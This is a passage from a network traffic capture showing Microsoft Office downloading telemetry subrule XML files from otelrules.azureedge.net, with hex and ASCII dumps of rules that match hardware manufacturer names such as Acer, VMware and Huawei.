2024-11-12 20:22:04 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:04 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:04 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:04 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 09da145b-201e-0033-5108-32b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202204Z-16547b76f7fp46ndhC1DFW66zg0000000g1g00000000xakq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 20:22:04 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:04 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:04 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 87935f62-301e-0033-36a7-34fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202204Z-17df447cdb5lrwcchC1DFWphes0000000cpg000000005711 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:04 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:05 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:05 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: cc46dee9-d01e-007a-0efd-2cf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202205Z-16547b76f7fcrtpchC1DFW52e80000000g8g000000001td7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:05 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:05 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:05 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 7f7db364-701e-005c-2f05-2dbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202205Z-16547b76f7fj5p7mhC1DFWf8w40000000g9g000000005gvc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:05 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:05 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:05 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:05 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 63ea3643-901e-0015-3101-2db284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202205Z-16547b76f7fwvr5dhC1DFW2c940000000fxg00000000v8um x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:05 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:05 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:05 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: a5c20e25-701e-0050-1ca1-346767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202205Z-15869dbbcc65c582hC1DFWgpv40000000a30000000009n6d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:05 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:06 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:06 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: acd6ed11-801e-0048-15a7-34f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202206Z-15869dbbcc6r45wghC1DFWk35n00000003hg000000000sy2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:06 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:06 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:06 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:06 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 75035ba1-b01e-005c-42fb-2c4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202206Z-16547b76f7f7rtshhC1DFWrtqn0000000g6g0000000092mg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:06 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:06 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:06 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 53e8259c-c01e-0046-51a0-342db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202206Z-15869dbbcc6bmgjfhC1DFWzfzs00000007r0000000006b2m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:06 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:06 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:07 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:06 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8e718dad-301e-0051-6df1-2c38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202206Z-16547b76f7fdtmzhhC1DFW6zhc000000050000000000dwf3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:07 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:06 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:06 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: d97b6048-401e-000a-3ba6-344a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202206Z-17df447cdb5wrr5fhC1DFWte8n0000000d7g000000002nzr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:07 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:07 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
